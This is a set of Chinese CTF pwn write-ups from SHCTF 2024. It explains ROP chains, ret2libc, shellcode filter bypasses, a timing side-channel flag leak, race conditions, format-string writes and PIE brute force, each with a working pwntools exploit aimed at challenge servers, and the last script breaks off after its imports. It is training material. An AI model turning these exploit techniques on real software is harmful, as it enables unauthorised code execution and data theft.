Pwn 练习合集

SHCTF 2024

1※ 签个到吧

  • 考点:stdout 重定向

  • 题目附件:签个到吧

  • 打开 IDA,发现使用 strstr,这个函数严格匹配字符串,然后用 system 执行输入的命令:

    image

  • 那么我们只需要在 /bin/sh 中加入 linux 不识别的字符 \,改为输入 /bin/s\h 即可绕过 strstr 的严格匹配。

  • 由于存在 close(1),关闭了标准输出,我们使用 exec 1>&0 重定向一下,将标准输出 重定向到与标准输入相同的位置:当前终端,相当于重启了标准输出。

  • 那么我们写出完整 python 脚本:

    from pwn import *
    p = remote("210.44.150.15",29453)
    
    p.sendline(b'/bin/s\\h')
    p.sendline(b'exec 1>&0')
    
    p.interactive()
    
  • 然后就可以正常 cat flag 了:

    image



2※ 指令执行器

  • 考点:ret2shellcode

  • 题目附件:指令执行器

  • 检查保护,发现没开 NX 和 Canary:

    image

  • 用 IDA64 打开,发现报错无法反编译:

    image

  • 发现是 call rdx 无法识别,我们将其 patch 成两个 90 变成空指令:

    image

  • 接着就可以查看伪代码,发现向栈中写入数据,并跳转到栈上去执行写入的数据:

    image

  • 但是执行之前有一个 check 函数,对输入的数据进行检查,不允许使用 syscall 指令:

    image

  • 但是关键是,程序只检查了 read 输入的内容:

    image

  • 我们可以先生成一个 shellcode,看一下里面的代码结构,用自带的 shellcraft 库,先 asm() 汇编再 disasm() 反汇编就可以看到类似 IDA 的效果:

    context(arch='amd64',os='linux')
    print(disasm(asm(shellcraft.sh())))
    

    image

  • 我们可以看到,在 shellcode 的最后一句是 syscall,机器指令为 0f 05

  • 那么我们可以将 0f 05 (即 syscall)输入到 nbytes 里面,即给输入的数据大小设置为 0x50f ,然后写入去掉 syscall 的 shellcode,在后面补充 nop 指令使其一直执行到 nbytes 这个变量,便可以执行 syscall 了,这样便可以通过检测:

  • 完整 exp:

    from pwn import *
    from pwnlib.asm import disasm
    p = remote("210.44.150.15",22541)
    
    context(arch='amd64',os='linux')
    # print(disasm(asm(shellcraft.sh())))
    
    py = asm(shellcraft.sh())[:-2].ljust(0x100,asm('nop'))
    p.sendline(b'1295')  # 0x050f = 1295
    p.send(py)
    
    p.interactive()
    


3※ No stack overflow2

  • 考点:ret2libclibc 库查询整数溢出

  • 题目附件:No stack overflow2

  • 在 linux 下使用 checksec 查看该程序开启的保护,发现 Archamd64-64-little,这说明这是一个 64位 的程序,并且采用了 小端 存储,即低位对应低地址,高位对应高地址。

  • 下方的 RELRO ,这是一种通过设置 重定位相关表 的权限为 只读 来防止其被修改的安全机制,我们只关注其对 got 表的影响。Partial RELRO 指的是部分开启,此时 got 表被设置为:每个表项只有在未解析过该函数地址前是可写,载入地址后改为只读:

  • 不过我们暂时不关心,把 vuln 文件拖进 IDA64 打开,点击左侧 main,按 F5 反编译,发现程序主要功能是先读入一个长度,接着检测长度小于等于 256 时再读入最多这么长的字节:

  • 我们看 IDA64 提示的存储地址,发现 nbytes_4 长度也是 0x100 即 256 个字节,难道无法溢出吗:

  • 我们发现关键在于传入参数时,将长度转为了 unsigned int 无符号整数,这就使得首位的符号位被当做了数据,那么如果原先输入长度为 -1,二进制对应的 0xFFFFFFFF,那么转为无符号整数后就变为了 2147483647,就可以绕过上方的长度检测了:

  • 那么接下来就是要构造我们的 payload1 了,但是一个个查看左侧函数发现没有 system 相关的,按 Shift+F12 也没有发现 /bin/sh 字符串。

  • 但是发现左侧有 puts 函数,那么我们可以考虑使用和上一题相同的方法:将 puts 函数的 got 表地址泄露出来,然后查询其在动态库中的位置,二者相减得到偏移量。 接着就可以先查询动态库中的 system 函数和字符串 /bin/sh 的位置,来计算出它们在程序中的位置,然后便可以构造 payload 模拟执行 system("/bin/sh")了。

  • 那么我们先打开 ELF 文件,查询 puts 函数 plt 表,got表所在的地址,以及 puts 结束后返回的 main 函数的地址:

  • 这里的 process('./vuln') 指的是先不连接服务器,而是用本地文件来模拟,方便我们调试:

  • 然后在第一处输入 -1 绕过长度检测:

  • 但是我们忽然发现一个问题,本题与上一题不同的是,上一题是 32位 程序,所有参数均通过栈来传递,我们只需要将函数的传参压入栈中即可模拟函数执行。但是这题是 64位 程序,函数的前 6个 参数是依次通过 6个 寄存器来传递:rdi,rsi,rdx,rcx,r8,r9,之后的更多的参数才用栈来传递。这样使得程序运行的速度提升了不少,但是对于我们栈溢出攻击就不能直接通过栈来传参了,需要修改寄存器的值。


  • 我们可以想到,pop rdi 指令可以将栈内写入的内容传给 rdi 这样就可以修改它了,那么如果我们将 pop rdi 指令所在的地址,放在函数返回的 ret 处,就可以修改 rip 下一条指令执行 pop rdi 了!

  • 可是仅仅是这样,rip 跳转之后就回不来了,程序流程整个被打乱,所以我们需要找一个后面紧跟着 ret 指令的 pop rdi,这样下一句还会执行 ret,将此时 rsp 自加过后的栈顶的内容给 rip,不就仍然等同于继续进行栈溢出攻击了吗。

  • 同理,如果想要修改 rsi,rdx,也需要在程序中找到 pop rsi 随后 ret 的代码片段的地址,以此来传递参数模拟函数执行。这个过程就是所谓的构造 ROP 链。


  • 我们可以通过使用 ropper 工具或是 ROPgadget 工具,在 linux 下快速查找一个文件中出现指定字符串的位置,我们通过使用管道符来查找所有 pop 开头到 ret 结尾的字符串,再要求其中含有 rdi,写出以下命令查询:ropper --file vuln --search "pop|ret" | grep "rdi",发现成功找到一个:

  • 记录下这段程序所在的地址 pop_rdi_ret = 0x401223,接下来就可以使用了。由于 puts 函数只需要一个参数,即输出的字符串的地址,我们只需要 rdi 来传参,所以现在可以开始构造 payload1 了:

  • 先填充 0x100 即 256个字节 给 nbytes_4,然后因为这是 64位 程序,要填充 8个字节 给 s 即 rbp,接下来在 r 处填入我们的 pop rdi;ret 程序的地址:p64(pop_rdi_ret),然后填入要修改的 rid 数据,即 puts 的传参,也就是要输出的字符串的地址:puts_got

  • 然后填充 pop rdi;ret 返回回来后要执行的程序的地址,我们要输出 puts 函数的 got 表里的内容,所以这里填调用的输出函数 puts 的地址:puts_plt

  • 最后填充 puts 函数输出完返回回来后要执行的下一个程序的地址,由于我们需要再次利用这里的栈溢出来执行 system("/bin/sh"),所以填 main 函数的首地址。

    image

  • 可以看到此时已经将地址输出出来了,不过都是 \x 开头的 16 进制 bytes 数据。由于 64位 程序的地址都是以 \x7f 开头的,并且由于这是个 小端程序,字符串地位置存储在低位置,所以输出出来是倒序的,所以我们可以用 .recvuntil(b'\x7f') 读到 \x7f 为止。

  • 又由于虽然我们是 64位 程序虽然应该有 8 位,但使用时的编码都是以 \x7f 开头的 6位 编码地址,所以我们只要读进来的最后 6个字节:

    image

  • 然后我们要对这个 16进制 的 bytes 数据用 u64() 进行解包,但是如果直接使用的话程序会报错:

    image

  • 这是因为 u64() 每次解包需要输入 8,而刚才的地址不足 8位,我们需要在左侧用.ljust(8,b'\x00')\x00 将其补满 8位:

    image

  • 此时再输出发现就是正确的一个整数地址了:

    image

  • 那么拿到了一个 puts 函数的 got 表的所在地址,接下来我们就可以通过查询动态库中 puts 函数的地址然后计算出偏移量啦。

  • 不过这道题题目并没有把动态库文件直接给我们,我们需要根据泄露出来的 puts 函数的 got 表的所在地址来查询到系统所使用的动态库版本。


  • 我们可以下载使用 LibcSearcher 这个 python 库来打开对应的动态库,只需要提供某个已知函数的具体地址即可:

    image

  • 接下来就和上一题一样了,查询 puts 函数在动态库的地址,计算出偏移量,然后查询 system 函数和 /bin/sh 字符串在动态库的地址,计算出在程序内的地址。不过要注意的是此时使用 LibcSearcher 指令,需要用 .dump("xxx") 来查询某个函数的地址,用 .dump("str_bin_sh") 来查询字符串 /bin/sh 的位置:

    image

  • 此时运行时我们会发现,查找到多个匹配的动态库,程序询问我们要使用哪一个版本的,这是因为先前我们用的是 process('./vuln') 在本地调试。而如果连接到服务器上的时候就不需要我们进行选择了。

  • 不过现在我们需要根据自己的 ubuntu 版本来选择对应的动态库,我们可以先按 Ctrl+C 退出程序,在 linux 中输入 ldd --version 来查询版本:

    image

  • 可以看到第二行,我的是 2.39-0ubuntu8.3,那么再次运行程序,这次就选择这个版本的动态库,填入程序提示的版本前方的编号 0 按回车,可以看到下方有一句该版本 be choosed就成功选择了:

    image

  • 那么完事具备,我们现在已经执行到第二次 main 函数要求我们输入长度的位置了,再次输入 -1,然后开始构造我们第二次的 payload2:

  • 先填充前面 0x108 个字符到 r 处与 payload1 一样,然后通过 pop di;ret 来传递 saystem 的参数:bin_sh_addr

  • 然后填充要执行的 system 函数的地址: system_addr

  • 最后的返回地址在哪里都无所谓,因为马上要得到系统权限进入交互模式了,并不会返回回来用上,直接不填。

    image

  • 但是!此时运行会发现并没有得到系统权限,反而报错退出了。这是因为这是采用了新的高版本的 gcc 编译器的 64位 系统,其在调用动态库中的 system 函数时,对 rsp 有额外的要求:

  • 在准备进入 system 函数时,会对此时的 rsp 也就是栈顶进行一次检验,要求此时指向的地址必须能被 16 整除,也就是必须以 0 结尾,否则报错退出不予调用。

  • 我们进入 IDA64 的 main 函数,点击 nbytes_4 查看栈空间,发现我们填充到 r 的位置以 8 结尾:

    image

  • 所以此时放在 r 中的 pop rdi;ret 的地址以 8 结尾,接下来 /bin/sh 字符串的地址以 0 结尾,而 system 函数的地址以 8 结尾,就无法通过高版本的 rsp 检验。

  • 那么我们需要再调用 system 函数之前额外填充一个 某段程序的地址,这样在执行 system 函数时 rsp 就以 0 结尾了。

  • 最简单的就是找一个只有一句 ret 指令的地址,rip 执行原先函数的 ret 跳转到这里后,下一句还是将执行 ret,没有区别,但是此时 rsp 已经自加了一次。

  • 所以我们用 ropper 指令寻找一个只有一句 ret 的程序,在 linux 下输入 ropper --file vuln --search "ret" 查找:

    image

  • 记录下程序的位置 ret = 0x40101a,接下来只需要在调用 system 之前多填充一个 ret 的地址即可:

    image

  • 此时运行完程序,在选择动态库版本输入 0 后,我们发现已经进入了交互模式,输入 ls 可以看到当前目录下的文件,大功告成:

    image

  • 最后调整为远程连接服务器,ls 一下发现有 flag,cat flag 获取 flag:

    image

  • 最后放上完整 exp(调整了一下顺序):

    image

  • 除了使用 LibcSearcher 在线查询动态库之外,我们还可以使用一个在线网站将服务器所使用的动态库下载下来:https://libc.rip/,使用的时候只需要输入,泄露的函数的名称,和泄露出来的函数的地址的后三位(16进制)即可:

    image

  • 当然,如果用 puts 函数查不到对应的版本的话,可以试着用别的函数查询,网站的内容有时候明没有更新到最新(这里就是,我换成了 read 函数 ):

    image

  • 然后可以下载下来,本地进行调试(当然我们不知道服务器用的是哪一个,这只限于本地调试代码用的下载)。



3※ No stack overflow2 pro

  • 考点:libc 静态链接

  • 题目附件:No stack overflow2 pro

  • 这题题目首先提示了,使用了静态链接,也就是将动态链接直接写入了程序中,这样就没有 plt 表和 got 表供我们使用了。

  • 首先在 linux 下用 checksec vuln 查看文件保护情况:

    image

  • 发现是 64位 小端程序,开了 Partial RELRO,开了 NX 保护,这个就是不允许执行存放在数据段的代码,也就是为什么我们之前,都要费尽心思往栈里面写别的程序的地址的原因:代码直接放在栈里面不允许执行。

  • 接着是 Stack:Canary found ,这是指开启了 Canary保护:在进入函数前生成一个校验码压入栈中,在函数返回时检测校验码是否被修改,若被修改则判断栈发生了改变收到了溢出攻击,自动结束程序。这是对栈溢出攻击的防护。

  • 那么接下来我们拖入 IDA64 中,发现左边乱七八糟一大堆,这正是因为静态链接引起的,将所有动态库里的函数全写进来了,如果查看过这个文件的大小的话,会发现它远远大于我们之前使用动态库连接技术的文件的大小:

    image

  • 我们找到加黑了的 main,点击进入,F5 反编译,发现和上一题的代码一模一样,都是输入一个长度,然后转化为有符号的 int来进行判断大小,接着往 v9 中存入不超过先前读入的长度的字节。很明显这里存在着和前几题一样的栈溢出:

    image

  • 那么我们记得先前有提到 Canary保护,点开 v9 查看栈结构找找 校验值 存在哪里,但是发现 v9 下面直接就是 sr 了,并没有找到 Canary保护的校验值存储的位置,那么就不需要理会了,直接正常溢出即可执行我们想执行的程序,也就是所谓的劫持程序。

  • 我们需要模拟 system("/bin/sh") ,这在动态库里本质是输入指令syscall,所以我们就需要一个写着 syscall指令的地址,用 ropper --file vuln --search "syscall" 进行查找:

  • 发现很多个,我们随便选哪个地址都可以,因为执行完 syscall 指令后我们会获得系统权限进入交互模式,就不用管 syscall指令之后还有什么了,可以选最后一个 syscall_addr = 0x41cbf6

  • 接下来我们要找字符串 /bin/sh,按 Shift+F12,按 alt+T 查找字符串 /bin/sh,发现并没有跳转,不存在现成的字符串:

    image

  • 所以我们只能自己找一个地址,往里面写入字符串 /bin/sh。首先我们需要找一个有读和写权限的段,因为既要写进去也要读出来使用。我们按 Shift+F7 打开段视图,一般使用 .bss 段,BSS 段通常是指用来存放程序中 未初始化 的或者 0 的 全局变量 和 静态变量 也就是说,只要初始值为 0 的类型,都会先放在这里,等到再次赋值时才会被取出。所以写在这里面可以全局使用。

  • 我们点开 .bss 段,随便复制一个起始位置,bss_addr = 0x4E72C0

  • 那么接下来我们要往里面写数据,可以调用 read 函数,在左侧下方输入 read 查找函数位置:

  • 点进去,复制函数入口位置,read_addr = 0x44FD90

  • 我们发现 read 函数需要三个参数,由于这是 64位 程序通过寄存器传参,所以和上一题一样我们要去寻找 pop rdi;retpop rsi;retpop rdx;ret 的程序的存放位置,来改变寄存器的值为 read函数传参:

  • 在 linux 下用 ropper --file vuln --search "pop|ret" | grep "rdi" 来找与 rdi 相关的指令,在一大堆结果中找到紧挨着 ret 的程序,pop_rdi_ret = 0x4022bf

  • 在 linux 下用 ropper --file vuln --search "pop|ret" | grep "rsi" 来找与 rsi 相关的指令,同理找紧挨着 ret的程序,pop_rsi_ret = 0x40a32e

  • 在 linux 下用 ropper --file vuln --search "pop|ret" | grep "rdx" 来找与 rsi 相关的指令时,发现没有紧挨着 ret的程序,我们找一个离 ret最近的程序,中间仍然多了一个 pop rbx,不过也可以用,每次多传一个 0 给 rbx 即可,pop_rdx_rbx_ret = 0x49D06B

  • 最后在程序内找到 main的起始地址,因为第一次溢出后我们输入字符串 /bin/sh 还需要第二次溢出来执行 system("/bin/sh")main_addr = 0x401B7A

  • 那么我们可以开始构造第一次溢出的 payload1 了,需要注意的是,这一个程序输入长度的时候用 (unsigned int) 输入,判断的时候转为 (int) 判断,所以我们需要输入 2147483679,对应的二进制转化为 (int) 就是 -1:

  • 然后构造 payload1,先用 0x100 + 0x08 个字节填充到 r 处,然后用寄存器为 read 函数传参:

  • 第一个参数表示读取的文件,为 0 表示从控制台读入,我们 pop_rdi_ret 后传 0

  • 第二个参数为存放的地址,我们 pop_rsi_ret 后传 bss_addr

  • 第三个参数为最大的写入长度,可以大一点,我们 pop_rdx_rbx_ret 后传 0x100,然后传 0 给多的 pop rbx

  • 最后填充函数结束后返回的地址 main_addr

  • 且慢,这是 64 程序,需要检验一下调用 main 函数之前,rsp 是否指向的地址末尾为 0,可以简单数一下 main 函数是第 9 条指令,第一条指令以 8 结尾,此时 main 也以 8 结尾,无法通过检验。我们需要再填充一条指令进去,这就是所谓的平衡栈操作。

  • 同上一题,我们再用 ropper --file vuln --search "ret" 找一下 ret 指令的位置,取单独的指令,ret = 0x454257

  • 那么我们此时在进入 main之前加一个 ret 指令的地址来平衡栈,构造出 payload1:

  • 运行可以看到此时程序成功执行了 read 函数,在输入一串字符后重新开始执行 main 函数了:

    image

  • 接下来我们可以往这个 .bss 段里面写入 /bin/sh 字符串了,需要注意的是字符串需要一个结束标识符 \x00,所以我们往里面写的应该是 b'/bin/sh\x00'

  • 接着重新再来一遍 main 函数,还是先输入 2147483649 绕过长度判断,然后开始构造 payload2 来执行我们的 system("/bin/sh")


  • syscall 的本质是系统通过调用这条指令时 rax 里面的值,来执行不同的函数,我们执行 system("/bin/sh")时需要令 rax = 0x3b 来执行 execve语句。(在 32位 系统中,是用 int 80h 代替 syscall,同时令 eax = 0x0b),所以我们需要找到修改 rax 寄存器的代码段 pop rax;ret,和之前的那些一样,都是所谓的 gadget。

  • 在 linux 中用 ropper --file vuln --search "pop|ret" | grep "rax" 来查找,pop_rax_ret = 0x4507f7

  • 那么接下来就可以继续构造我们的 payload2 了,先填充 0x108 个字符到 r,然后在 pop_rax_ret 后传 0x3b 修改 rax

  • 接着为 syscall 传参数,一共有三个参数:

    第一个参数是字符串地址,pop_rdi_ret 后传 bss_addr

    第二和第三个参数涉及系统内核取参方式,系统空间与用户空间之间的协议,都设为 0 默认即可。

  • pop_rsi_ret 后传 0,pop_rdx_rbx_ret 后传 0 ,再传 0 给 rbx

  • 最后填入 syscall_addr 的地址,来调用系统的 syscall 功能。

  • 此时算一下是否栈平衡,我们数一下 syscall的地址为第 10 个指令,此时 rsp 末位为 0,无需调整。

  • 运行成功获得系统权限,进入交互模式,输入 ls 成功输出当前目录下的内容:

  • 转为远程连接服务器再次运行,输入 cat flag 获得 flag:

  • 最后附上完整 exp(调整了下顺序):



2※ easy_competition

  • 考点:Race Condition(条件竞争)

  • 题目附件:easy_competition

  • 本题考察条件竞争,不同进程或者线程竞争同一个资源导致的漏洞。

    image

  • 每当程序接收到远程连接时,会自动 fork 一个子进程执行 handle 函数,这里是允许多个子进程同时存在的。

    image

  • handler 函数可以往 共享空间 buf 中写入一个任意指针,并会判断是否和flag 指针一致,不一致就会对 指针内容 与 flag 内容比较,比较成功就输出flag:

    image

  • 这里的操作都是基于 *buf 的,这就意味着指针比较,以及字符串比较都会进行解引用操作来得到地址。

  • 由于这里是通过 共享空间 进行操作,子进程可以对 共享空间 同时进行操作,而两次解引用之间存在 2s 的时间差,这就导致我们可以先随便输入一个地址经过一层 指针不相等 的比较,再在 2s 内创建另一个子进程偷梁换柱,修改 buf 存放的指针为 flag 指针,即可绕过检查得到 flag:

    from pwn import *
    p1 = remote("210.44.150.15",22287)
    p2 = remote("210.44.150.15",22287)
    
    flag_addr = 0x0404120
    
    p1.send(p64(0))
    sleep(1)
    p2.send(p64(flag_addr))
    
    p2.close()
    p1.interactive()
    
  • 本地由于没有 flag文件 和 key的文件,可能并不能打通,远程输出 flag:

    image



4※ ez_sandbox

  • 考点:侧信道攻击

  • 题目附件:ez_sandbox

  • 考察侧信道攻击,通过时间差比较的方式在没有输出的情况下推测出数据内容。

  • checksec 查看保护,发现除了 Canary 保护全开:

    image

  • 发现在初始化的时候申请了一大块权限为 7 ,即可读可写可执行的空间,初始地址赋给了 addr:

    image

  • 题目内容很简单,直接执行 read 进 addr 的内容,但是开了沙盒:

    image

  • 设置了一个只允许 read、open 系统调用的沙盒:

    image

    image

  • 那么我们可以将 flag 读到程序中,却不能将其输出出来。好在我们可以自己构造 shellcode,在程序内进行字符串的比较。

  • 进行如下 shellcode 构造:

    push 0x67616c66//压入flag文件名到栈中
    mov rdi,rsp
    xor rsi,rsi
    xor rdx,rdx
    mov rax,2
    syscall//open打开文件
    mov rdi,3
    mov rsi,rsp
    mov rdx,0x100
    mov rax,0
    syscall//读取flag文件内容到栈中
    //开始字符串的比较
    cmpb [rsp+{i}],{ord(j)}
    jz GotIt//若字符串的第i个字符为j就跳转到GotIt
    ret//否则直接退出
    GotIt:
    mov rdi,0
    mov rsi,rsp
    mov rdx,0x100
    mov rax,0
    syscall//GotIt会调用read读取用户输入,阻塞程序
    ret
    
  • 通过以上的 shellcode 构造,我们每次可以比较一个字符,如果字符正确就会调用 read 卡住,而不正确就会直接退出。通过时间差的比较,长时间没有断开连接报错 eof 就代表进入了 read 调用,也就代表字符正确,反之代表错误。

  • 经过长时间的爆破,最后一个个字节匹配出了 flag:

    image

  • 最终 exp:

    from tqdm import tqdm
    from pwn import *
    import string
    dic = string.printable[:10+26+26]+"{}_-"
    print(dic)
    
    context(arch="amd64",os="linux")
    flag = ""
    for i in range(0x40):
    	for j in tqdm(dic):
    		p = remote("210.44.150.15",38426)
    		# "flag" = 0x66 0x6c 0x61 0x67
    		shellcode = f"""
    		push 0x67616c66
    		mov rdi,rsp
    		xor rsi,rsi
    		xor rdx,rdx
    		mov rax,2
    		syscall
    		mov rdi,3
    		mov rsi,rsp
    		mov rdx,0x100
    		mov rax,0
    		syscall
    		cmpb [rsp+{i}],{ord(j)}
    		jz GotIt
    		ret
    		GotIt:
    		mov rdi,0
    		mov rsi,rsp
    		mov rdx,0x100
    		mov rax,0
    		syscall
    		ret
    		"""
    		py = asm(shellcode)
    		p.send(py)
    		try:
    			p.recv(10,timeout=2)
    			p.close()
    			flag += j
    			print(flag)
    			if j == '}':
    				print(flag)
    				p.interactive()
    			break
    		except:
    			p.close()
    print(flag)
    


3※ ezorw

  • 考点:文件描述符 fdrow 基础

  • 题目附件:ezorw

  • checksec 查看保护,发现除了 Canary 全开:

    image

  • 打开 IDA64,发现程序打开了 flag 文件,并将文件操作符记录在 fd 中,此时 fd = 3:

    image

  • 在 vuln 中发现存在栈溢出,然后用 close(fd),fd = 0:

    image

  • 由于题目开了 PIE,但什么库都没给,不方便 动态调试 栈内地址的偏移量泄露 libc,然后打 ret2libc。

  • 那么我们打算构造 close(0) 关闭标准输入流,然后利用 read(0,buf,0x100) 在标准输入关闭时,将往后找 fd,找到打开的 flag 文件,将里面的内容输入到 buf 中,然后 puts(buf) 输出出来。

  • 由于 PIE 会将程序按页对齐加载,发现 vuln 存在溢出的函数的倒数第二个字节为 0x12:

    image

  • 所以只需要更改 函数的最后一个字节地址,即可更改到相同页内的函数,可以在同为 0x1200 的 main 里找到 vuln 和 open 的地址:

    image

    image

    vuln_last = 0xBB
    open_last = 0x97
    
  • 由于执行完 vuln 后会 close(fd),fd 清空为 0,此时我们如果直接再次进入 vuln,在结束时便会 close(0) 关闭标准输入。

  • 然后我们再返回到 open 的地址打开 flag 文件,然后顺序执行进入 vuln 要 read(0,buf,0x100),此时由于 标准输入 被关闭了,会往后找可用的 文件描述符 3,也就是 flag 文件,将里面的内容读到 buf。

  • 接着执行 puts(buf) 就会将 buf 里面的 flag 内容输出出来了。

  • 完整 exp:

    from pwn import *
    p = remote("210.44.150.15",20930)
    
    vuln_last = 0xBB
    open_last = 0x97
    
    py = b'a'*0x10 + b'A'*0x08 + p8(vuln_last)
    p.send(py)
    
    py = b'a'*0x10 + b'A'*0x08 + p8(open_last)
    p.send(py)
    
    p.interactive()
    


3※ json_printf

  • 考点:json 格式格式化字符串

  • 题目附件:json_printf

  • checksec 检查保护,没开 PIE,是 32 位程序:

    image

  • 拖进 IDA32 打开,结合题目提示 json,简单逆向一下。可以发现程序需要输入一个 json 格式的字符串,然后将其解析后检测里面的 name 需要为一个字符串,age 需要为数字 18,接着就可以传入 name 的值(字符串)进 backdoor:

    image

  • backdoor 存在格式化字符串漏洞,dest 就是我们传入的 name 的值,需要将 0x8052074 位置的 dword 变量值改为 999:

    image

  • 那么我们只需要将 0x8052074 写在栈上,用 %hn 往里面写入 999 即可。先用 'DDDD' + ".%x"*20 来确定偏移量,接着写入即可。

  • 需要注意的是,json 解析的时候以 \x00 截断,所以上传的 payload 里面不能用 \x00 填充。

  • 完整 exp:

    from pwn import *
    p = remote("210.44.150.15",27681)
    
    data_addr = 0x8052074
    
    # py = b'DDDD' + b'.%x'*20
    py = b'%999c%10$hn'.ljust(12,b'a') + p32(data_addr)
    py = b'{"name":"'+py+b'","age":18}'
    p.sendline(py)
    
    p.interactive()
    


3※ json_stackoverflow

  • 考点:json 格式ret2libc

  • 题目附件:json_stackoverflow

  • checksec 检查保护,无 Canary 无 PIE,是 32 位程序:

    image

  • 拖进 IDA32 打开,结合题目提示 json 格式,和上一题一样简单逆向一下,发现需要输入一个 json 格式的字符串,在解析后需要 name 对应一个字符串,age 对应一个非零数字,然后就可以将 name 的字符串传入 backdoor:

    image

  • backdoor 内使用 strcpy 将传入的字符串复制到 dest 内,存在栈溢出。由于无 PIE 无 Canary,简单地打一个 ret2libc 即可。

  • 需要注意的是,json 解析的时候以 \x00 截断,所以上传的 payload 里面不能用 \x00 填充。

  • 完整 exp:

    from pwn import *
    p = remote("210.44.150.15",37800)
    elf = ELF("./pwn")
    libc = ELF("./libc.so.6")
    
    read_got = elf.got["read"]
    puts_plt = elf.plt["puts"]
    main_addr = 0x08049432
    
    py = b'a'*0x48 + b'A'*0x04 + p32(puts_plt) + p32(main_addr) + p32(read_got)
    py = b'{"name":"' + py + b'","age":1}'
    p.send(py)
    
    p.recvuntil(b'age:134549524\n')
    read_addr = u32(p.recv(4))
    libc_base = read_addr - libc.symbols["read"]
    system_addr = libc_base + libc.symbols["system"]
    binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
    print(hex(libc_base))
    print(hex(read_addr))
    print(hex(system_addr))
    print(hex(binsh_addr))
    
    py = b'a'*0x48 + b'A'*0x04 + p32(system_addr) + p32(main_addr) + p32(binsh_addr)
    py = b'{"name":"' + py + b'","age":1}'
    p.send(py)
    
    p.interactive()
    


3※ Awakening of SKYNET

  • 考点:unwind 扰乱

  • 题目附件:Awakening of SKYNET

  • checksec 检查保护,有 Canary 无 PIE:

    image

  • 在 try 的过程中报错,会触发 unwind 函数,终止原先的剩余的程序运行,所以处于原先程序内的 Canary 保护就不用考虑了。


  • 而学习 unwind 原理可以知道,该函数在 throw 异常后会寻找原函数的 rbp 和 ret 的地址,作为 unwind 异常处理结束后的 rbp 和 ret。

  • 需要注意的是,ret 的地址必须是某个 try 结束后的 catch 的首地址,也就是说必须返回到一个 catch 块内,然后指令块内的程序。


  • 那么我们在程序内找一找有没有现成的 catch 块,在 IDA 里 Alt+T 搜索字符串 catch,发现一共有 3 个 catch:

    image

  • 由于 try ... catch 在 IDA 中反汇编时会将 try 结束的位置识别成直接 return,在反汇编视图里看不到部分的 catch 逻辑:

    image

  • 我们分析汇编代码,根据 IDA 的提示,第一个 catch 输出完异常提示后直接 exit 了:

    image

  • 分析第二个 catch 发现,在处理结束 异常输出后,会执行 system("/bin/sh"),即这是我们的 backdoor handler :

    image

  • 那么我们根据 IDA 里的注释提示,把调用这个 catch 的 try 的结束地址记录下来,就是 backdoor handler 的地址:

    image

  • 那么最后只需要栈溢出将 rbp 改为一个可写的地址(取 bss 段后方的地址),ret 覆盖为 backdoor handler 地址,即可获得权限。

  • 完整 exp:

    from pwn import *
    p = remote("210.44.150.15",46044)
    
    try_addr = 0x402749
    bss_addr = 0x405800
    
    py = b'a'*0x20 + p64(bss_addr) + p64(try_addr)
    p.send(py)
    
    p.interactive()
    


4※ TUTo的服务器

  • 考点:PIE 爆破栈迁移

  • 题目附件:TUTo的服务器

  • checksec 检查程序保护,发现保护全开,64 位程序:

    image

  • 寻找漏洞位置,main 中第二个 read 存在栈溢出漏洞:

    image

  • 进入 vuln 函数,发现也存在栈溢出漏洞,可以溢出 10 个字节覆盖 rbp 和 ret 的最后两个字节:

    image

  • 那么我们可以修改 i 的值,跳过更改 buf,将返回地址改为 vuln 中给 system 传参的地方。由于在 vuln 结束的时候 leave 了一次,现在的 rbp 为 main 的 rbp,那么现在的 [rbp+command] 并不是 vuln 函数内的 command 数组,而是 main 函数内 [rbp-30h]。

    image

  • 那么我们要在先前 main 内输入时,使 [rbp-30h] 为 /bin/sh\x00,然后进入 vuln 不修改 rbp 只修改 ret 的地址,就可以执行 system("/bin/sh") 了。

  • 由于开了 PIE,我们只能改最后两个字节然后爆破,每次有 十六分之一 的概率正好为程序所加载的地址。

  • 我们传入 payload 后,下方 recvuntil 一个不可能得到的值,这样如果程序没有结束 eof 报错,就会执行这个 recv 卡主,否则触发 except 自动进行下一次爆破,可以有效解决网络不稳定问题。

  • 完整 exp:

    from pwn import *
    while True:
    	try:
    		p = remote("210.44.150.15",43602)
    		# p = process("./TUTo的服务器")
    		p.send(b'TUTo_shi_da_shuai_ge')
    
    		py = (b'a' * (0x110-0x30) + b'/bin/sh\x00').ljust(0xf0,b'\x00')
    		p.sendafter(b'code\n',py)
    
    		system_addr = 0x138D
    		# print(hex(0x30+0x08-1))
    		py = b'echo flag'.ljust(28,b'\x00') + b'\x37' + p16(system_addr)
    		p.sendafter(b'do something\n',py)
    
    		p.recvuntil(b'ShallowDream',timeout=1)
    		p.interactive()
    		break
    	except:
    		p.close()
    


5※ fmt_fmt

  • 考点:栈上未初始化fmt

  • 题目附件:fmt_fmt

  • checksec 检查保护,发现除了 Canary 全开,为 64 位程序:

    image

  • 存在 backdoor:

    image

  • 将程序通过 patchelf 更改 libc库 和 ld库:

    image

  • IDA64 打开程序,发现 show_flag 函数内存在 fmt 漏洞,且 talk 函数内存在 栈上未初始化 的漏洞:

    image

    image

  • 且在 show_flag 中,buf 的位置 [rbp-8h] 会被初始化为 ptr 全局变量,也就是格式化字符串的地址:

    image

  • 那么我们只需要先 show_flag 然后 talk,就可以往 ptr 里面读入数据了,先用 'DDDDDDDD' + b'.%x'*9 来测试偏移量,发现为 6:

    image

  • 由于开了 PIE,我们需要泄露函数地址,求出程序 PIE基址,同时如果我们有一个栈上的链子,就可以实现任意写了。动态调试发现下方在偏移量为 21 的位置有一个链子,在偏移量为 23 的位置有 main 的地址:

    image

  • 那么我们可以计算出 backdoor 函数的地址了,现在问题是要往哪里写,我们找找栈上的返回地址在哪,通过链子可以修改其为 backdoor 函数的地址:

    链子的地址指向 偏移量为28 的地址,要将 偏移量为28 的位置的地址写为 main函数 的返回地址,然后 %hhn 单字节写入偏移量 28 的位置,就可以修改 main 的 ret地址了。

  • 那么我们需要把断点断在 main 函数内,查看 main 的返回地址与先前链子的偏移量,因为格式化字符串每次只修改一个字节,需要多次调用函数,不能修改 show_flag 的返回地址:

    image

    image

  • 我们发现 main 的 ret 地址为 chain_addr + 0x18,并且它们只有最后两位可能不同,那么我们可以每次修改 main 的 ret 地址的其中两个字节,修改 3 次将其改为 backdoor 的地址。

  • 完整 exp:

    # -*- coding: utf-8 -*-
    from ctypes import *
    from itertools import chain
    from time import *
    import tqdm
    from LibcSearcher import LibcSearcher
    from cryptography.utils import int_to_bytes
    from pwn import *
    # context.terminal = ['tmux','splitw','-h']
